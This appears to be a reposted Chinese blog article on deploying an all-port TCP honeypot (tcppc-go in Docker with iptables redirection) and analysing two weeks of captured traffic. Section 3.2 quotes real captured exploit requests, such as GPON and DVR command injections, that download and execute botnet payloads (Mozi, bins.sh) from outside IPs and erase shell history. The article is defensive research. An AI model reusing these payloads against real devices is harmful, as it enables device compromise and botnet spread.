一、引言

在當前的網絡環境中，存在著各種流量，包括網絡空間掃描流量、搜索引擎爬蟲流量、惡意軟件的探測流量等等，例如mirai病毒在進行telnet爆破過程中，其目標IP就是隨機生成的（排除內網IP及一些特殊IP）。前段時間，本人對SSH蜜罐cowire的Docker部署及數據展示進行了介紹，有興趣的讀者可以查看文章《Cowrie蜜罐的Docker部署過程及Elasticsearch+Kibana可視化》。本文將繼續蜜罐這個方向，介紹一種全端口蜜罐。

一般而言，大部分蜜罐都是針對某種服務來運行的，例如前文提到的ssh蜜罐cowrie。通過模擬該種服務的正常協議交互，完成握手階段，并進行數據傳輸，基于這種蜜罐可以記錄攻擊者的行為。但前文提到，mirai病毒定位目標是通過隨機的IP算法生成；同時每天云主機的SSH端口也收到各種爆破流量，由此本人萌生了一個想法，那么是不是還有其他端口也在受到掃描或者攻擊。要獲取這些信息，顯然使用tcpdump并不可行，雖然能收到各種掃描的流量，但沒有系統協議棧的支撐，并不能得知連接的負載；而如果使用開啟多個端口又不現實，畢竟端口數量這么多，管理起來也不方便。要滿足上述需求，需要一個能夠接受全端口流量的蜜罐。

本文基于上述背景，部署一款全端口蜜罐，并對半個月時間內收到的日志進行簡單分析。整體的文章結構如下：首先介紹使用tcppc-go及docker搭建一個可以記錄連接信息的蜜罐，然后利用iptables將端口轉發至特定端口，最后分析采集到的兩周的數據。

二、全端口蜜罐的部署

2.1 需求分析

首先來具體說明一下，對于這款蜜罐的具體需求。

1. 能夠接受客戶端（攻擊或掃描）的連接，不需要進行具體的某種協議的交互，能夠接收并記錄用戶發送過來的數據，持續運行只要客戶端還在發送數據；

2. 能夠記錄日志，包括連接信息，數據包內容等；

3. 能夠接收系統的全端口流量。

本著不重復造輪子的思想，在github上搜索"all port honeypot"，找到了一款能夠滿足功能的程序tcppc-go。除了能滿足上述需求，同時還能支持UDP協議，甚至可以加載SSL證書，進行SSL握手。本次部署過程中不考慮SSL及UDP。其github主頁上也介紹了如何能夠捕獲全端口的數據負載，通過iptables進行轉發，但本文沒有采用他的命令，請讀者謹慎嘗試。

2.2 部署過程

tcppc-go是一款使用Go語言編寫的程序，雖然本人有一些go語言基礎，但是不想折騰基礎語言環境，就借助docker的方式來搭建這個蜜罐，這樣也方便沒有go基礎的讀者直接進行部署。因此，本次部署過程中，與上一篇cowrie蜜罐相同，采用docker部署的方式，但不進行數據展示，直接輸出原始日志，本次蜜罐部署的環境如下：

2.2.1 構造鏡像

Dockerfile是構造鏡像的模板，docker會根據Dockerfile的程序逐漸構造鏡像，關于具體的指令，下面的Dockerfile已經添加了簡單的注釋，想深入了解命令使用的讀者可以自行搜索。

###使用golang作為基礎鏡像提供程序運行環境
FROM golang
#設置時區變量
ENV TZ=Asia/Shanghai
#調整時區,從github拉取相應源碼，并編譯
run ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone &&
go get github.com/md-irohas/tcppc-go &&
cd /go/src/github.com/md-irohas/tcppc-go &&
go build main.go
#跳轉至生成的程序位置
WORKDIR /go/bin/
#執行命令
cmd ["./tcppc-go", "-T","86400","-w","log/tcppc-%Y%m%d.jsonl"]

上述Dockerfile的主要構造流程如下。首先，拉取golang作為基礎鏡像，為程序提供go語言環境；然后，在設置了時區變量之后，將時區調整為上海市區，如果不調整，默認會比上海時間慢8個小時；其次，利用go命令獲取程序源碼；最后，進入相應路徑進行編譯。

新創建一個文件夾dockertest（后續操作均將在該路徑下執行），并按照上述內容編輯Dockerfile文件，在文件夾下執行命令:`docker build -t allport:1.0 .`

其中-t參數是設置最終生成鏡像的名字與版本號，可自行調整；程序會運行一段時間，大致上需要3-5分鐘時間，主要卡頓在拉取go基礎鏡像和獲取github源碼過程中。

上述命令會輸出以上信息，輸出這些信息表明蜜罐已經構建成功；測試鏡像是否成功構造并能運行，首先創建log文件夾，用來后續掛載文件夾到鏡像中，并保存日志，執行以下命令。

docker -it -d --restart=always --net=host -v `pwd`/log:/go/bin/log/ all_port:1.0

此時可以查看到log文件夾下已經生成了log文件。非root用戶可能需要調整文件夾的權限。docker運行命令中，利用--net=host讓鏡像使用宿主機的網絡，這樣可以直接綁定端口到系統上，后續利用iptable時，只需要指定端口。 tcppc-go會默認綁定tcp/udp端口號12345，可以通過telnet 0 12345進行測試，隨便敲擊命令，即可在日志中查看到日志。

按照上述步驟能夠出現以上信息，說明鏡像已經構造成功，并且能夠成功運行并獲取日志。但是當前只是開啟的一個端口進行監聽，下面來介紹通過iptables將本機端口轉發至tcppc-go的12345端口。

2.2.2 調整iptables進行端口轉發

請注意，利用iptables如果命令錯誤可能導致機器無法訪問，或者影響其他正常服務，特別是SSH端口。一定要注意自己的命令是否正確。最好是在自己的測試機或者虛擬機上先測試命令，保證命令正確無影響。以下命令均在本人的機器上測試沒有問題，但是每個人的情況都不同，請一定謹慎。

先來解釋一個最簡單的命令iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345。

下面來說明一下命令的具體內容，該命令將在防火墻的nat表（-t nat）中prerouting（-A PREROUTING）位置創建一條規則，這條規則針對發往網卡eth0（-i eth0）tcp協議（-p tcp）的流量，其中端口范圍是5000-8000（--dport 5000:8000）的將重定向至12345端口（-j REDIRECT --to-ports 12345）。

執行命令（外網IP），telnet your_machine_ip 5000，可以發現成功聯通；上述命令不支持在部署蜜罐的本機進行使用"0.0.0.0"或者回環地址測試，會回顯拒絕服務的信息，這是由于iptables的生效位置導致。

雖然上述命令可以將端口轉發至蜜罐的端口，但是輸出的蜜罐日志中卻缺失了端口信息，所有的流量都呈現為訪問12345端口，這樣不利于具體的端口行為分析。所以需要調整上述命令，來記錄端口轉發過程日志。下面來具體說明在實際部署過程中采用的命令。為了驗證命令的可行性，會將原有蜜罐的防火墻規則清楚，重新逐步加載規則。

執行命令查看nat表中現有的規則，iptables -t nat -L -nv，得到以下圖片中輸出。

上圖輸出中的最后一條規則正是剛剛執行的命令生成的，先執行命令把這條規則刪除，執行命令iptables -t nat -D PREROUTING 5，其中5對應的這條規則的編號，可以通過以下命令（iptables -t nat -L -nv --line-numbers）來獲取編號。在后續中，如果發現規則有問題，可以按照編號刪除相應的規則，一定要注意不要把正常的規則刪除。

一、開啟iptables日志

1. 在文件/etc/rsyslog.conf中添加一行內容，kern.info /var/log/iptables.log

2. 為了讓日志和ssh日志一樣回滾，將文件名/var/log/iptables.log加入文件/etc/logrotate.d/syslog中，配置后文件內容如下。

3. 執行重啟服務service rsyslog restart使配置生效。

二、iptables日志規則

執行以下兩條命令。

iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j LOG --log-level 6 --log-prefix "port_for"
iptables -t nat -A PREROUTING -p tcp -i eth0 --dport 5000:8000 -j REDIRECT --to-ports 12345

下面簡單說明一下上述命令的含義。第一條命令是將進來的流量進行記錄，日志等級6對應前面的kern.info，日志前綴為port_for，無意義，可自行定義。第二條命令將流量重定向至端口12345。經過測試，上述兩條命令如果順序顛倒，雖然能進行重定向，但沒有日志輸出。

測試：執行命令telnet your_machine_ip 5000，可以在/var/log/iptables.log中看到實時輸出。

其他端口只需要修改端口范圍即可，執行命令類似；如果命令都正確，卻無法連通，請查看是否是云主機沒有開放端口的原因。

2.2.3 部署過程小結

在前面的內容中，本文描述了如何通過docker部署tcppc-go程序，并簡單介紹了利用iptables完成端口轉發功能。請在自己機器上部署的讀者在執行iptables命令時，一定要謹慎，最好是現在虛擬機或者測試機上進行命令的測試，以免造成不必要的麻煩。

三、全端口蜜罐的數據分析

前文中，已經對全端口蜜罐的部署過程進行了詳細的描述。按照步驟部署，現在可以擁有兩個源頭的數據，一個是由iptables進行端口轉換過程中，生成的端口轉換日志（TCP連接）；一個是由tcppc-go程序采集到的連接信息（包含負載）。下面利用Python分別來對這兩方面數據進行分析，主要用到的第三方庫是pandas數據分析庫，同時采用jupyter-notebook的形式方便分析過程。分析的日志時間為從2020年5月24日至2020年6月7日，其中在5月24日進行部署，日志僅為半天的數據量，其余時間均為整天的數據。本部分分析集中于數據的分析，對代碼實現不進行詳細描述，后文中提供github地址，包含jupyter的分析過程。

注：因為本人的云主機中還承載著SSH/蜜罐（22/2222端口），以及SSH蜜罐（23/2323)，這部分服務由之前一篇文章中介紹的cowrie蜜罐處理，下文中的日志中沒有體現這部分日志，可能會在日志數量上有偏差。利用iptables轉發范圍包括（24-2221），（2324-65535）。

3.1 iptables端口轉化日志數據分析

圖1. 日志數量（按天）

從圖1中可以看出，在部署蜜罐之后，日志數量在兩天后趨于穩定，如果排除5月24日不計，剩余14天每天的平均日志數量為35000左右。

圖2. 去重日志數量

雖然每天的日志數量非常多，但是從去重的ip/端口數量（圖2）上來看，每天的IP數量趨于穩定，大致在2400左右；端口數量較多在14000左右。

圖3. 日志中訪問端口排序

圖3展示了在15天日志中，訪問最多的是445端口，配合最近爆出的SMB漏洞，這個端口的訪問量這么高，不難理解；其次是8088（大概率是WEB服務）、1433（SQL Server默認端口）。圖3主要針對所有日志的端口進行排序，下面將每個訪問的端口的ip進行去重后，來查看訪問最高的端口。

圖4. 日志中訪問端口（IP去重）排序

從圖4中可以看出，在經過IP去重后再排序，第一個端口和第二個端口的差距沒有那么懸殊了，通過第二第三多的端口也發生了變化。以上圖片中均采用天為單位進行說明，下面采用時間區間比較小的30min中來說明。以下去重意義，是指在時間區間內，對IP或者端口分別進行去重。

圖5. 日志數量（每30分鐘）

從圖5中可以看出，IP數量趨于穩定，但日志數量不穩定，且存在波動；去重日志中，端口數量多于IP數量，存在掃描行為或者同一個IP連接多個端口的行為。如果沒有掃描行為，那么源IP與目的端口數量應該是相當的；日志數量明顯高于其他兩個數量的時間點，說明存在某個IP對某個端口（或多個端口）進行了多次訪問，產生了多次日志。上圖的時間廣度太大了，下面來通過一天的日志來說明這個前面的結論。

圖6. 25號日志數量

在圖6中的標識中，類型1橢圓處，日志數量與目的端口數量激增，且數量相當，說明存在某個IP在進行端口掃描行為；類型2的橢圓處，IP數量與端口數量相當，但日志數量比前者多，說明了某個IP對某個端口（或多個端口）進行了多次訪問。雖然類型2中，也有可能有IP在進行小規模的端口掃描，但相對來說，類型1的這種現象更能說明有IP進行端口掃描的行為。為了驗證結論，這里將類型1位置時間的日志打印出來，具體可以從圖7中看出，的確存在掃描行為。

圖7. 端口掃描行為的日志

圖8. 國家分布

圖8繪制了全部日志地域分布，分析過程中采用了第三方庫geoip2。在國家分布中，除了中國作為第一位，俄羅斯和荷蘭日志量最多，本人在部署HTTP代理蜜罐過程中也發現了這樣的情況，存在大量俄羅斯的IP在進行訪問。

3.2 TCP連接數據負載分析

在處理TCP負載日志中發現，tcppc-go生成的日志為json格式，且數據負載已經由base64進行編碼，雖然pandas支持從json文件中獲取數據，但有些數據類型，例如數組，并不能完美支持。本次主要查看TCP負載中一些攻擊的流量，在對數據負載進行解碼之后，直接按照某些特殊字符查找。按照之前部署ssh蜜罐的經驗，很多通過wget進行惡意樣本的下載；同時HTTP協議中，有些存在webshll服務。下面就按照兩個字符串進行分析："wget"和"shell"。這部分日志數量非常大，這里僅僅貼出一些作為示例。

POST /GponForm/diag_Form?images/ HTTP/1.1rnHost: 127.0.0.1:80rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: Hello, WorldrnContent-Length: 118rnrnXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://116.114.95.192:58149/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

經過搜索，上述載荷是利用GPON漏洞[1]。

GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20http://23.254.227.92/bins.sh%20-O%2012.bins.sh;curl%20-O%20http://23.254.227.92/bins.sh%20-O%2011.bins.sh;%20chmod%20777%20*;%20sh%2011.bins.sh;%20sh%2012.bins.sh HTTP/1.0rnrn

DVR漏洞[2]。

GET /shell?cd%20/tmp;wget%20http:/%5C/23.254.164.76/ally.sh%20-O%20gf;%20chmod%20777%20gf;./gf%20DVR HTTP/1.1rnHost: xx.xx.xx.xx:5500rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 linux/2.6.32-754.el6.x86_64rnrn
GET /shell?cd%20/tmp;wget%20http:/%5C/185.172.110.227/sys6;%20chmod%20777%20sys6;%20./sys6 HTTP/1.1rnHost: xx.xx.xx.xx:5502rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.29.2.el6.x86_64rnrn
GET /shell?cd%20/tmp%20%7C%7C%20cd%20/run%20%7C%7C%20cd%20/;%20wget%20http://185.103.110.146/axisbins.sh;%20chmod%20777%20axisbins.sh;%20sh%20axisbins.sh;%20rm%20-rf%20axisbins.sh;rm%20-rf%20*;%20clear;history%20-c;%20clear;history%20-w HTTP/1.1rnHost: xx.xx.xx.xx:5501rnConnection: keep-alivernAccept-Encoding: gzip, deflaternAccept: */*rnUser-Agent: python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.el6.x86_64rnrn
GET /shell?cd+/tmp;rm+-rf+*;wget+http://112.17.89.155:51082/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1rnUser-Agent: Hello, worldrnHost: xx.xx.xx.xx:80rnAccept: text/html,Application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8rnConnection: keep-alivernrn

上述命令不清楚是什么產品的漏洞。但是這些負載都是TCP的首包，說明這些攻擊不需要進行交互，他們的原理應該與mirai僵尸網絡病毒一致，通過隨機生成IP來攻擊主機。同時，日志中存在各種爬蟲以及服務探測的流量，這里不再一一列舉。

3.3 數據分析總結

本小節針對采集到的日志進行了分析，主要針對端口轉換過程中產生的端口日志進行了詳細的分析，分析了日志數量，端口分布，地域分布等，可以發現掃描行為，且知道被探測端口最多的是哪些；對于負載分析部分，主要利用已知的兩種指紋wget和shell直接進行匹配，可以發現非常多的日志，這些連接沒有前期交互，直接就開始下載惡意樣本。

四、 總結

本篇文章主要針對全端口蜜罐的部署以及數據分析展開。利用iptables配合開源軟件tcppc-go記錄日志，然后詳細分析了端口轉換日志，并簡單列舉了幾種攻擊樣本。通過本文的分析，可以發現一臺存活的云主機其受到的流量行為分布：端口、訪問IP、地域，以及查看各種負載；通過端口轉發日志可以看到端口掃描行為，通過負載信息，可以看到存在各種樣本。但本文中的方法主要是進行離線分析，后續如果有機會再開發實時顯示的系統；同時利用非結構數據庫來存儲負載信息。

本文所使用的dockerfile以及分析端口轉發日志的jupyter分析過程已經上傳至allporthoneyport。

參考文章

1(https://zhuanlan.zhihu.com/p/36741900?utm_source=com.huawei.works)

2(https://www.seebug.org/vuldb/ssvid-92493)

原文地址：https://www.freebuf.com/articles/network/240041.html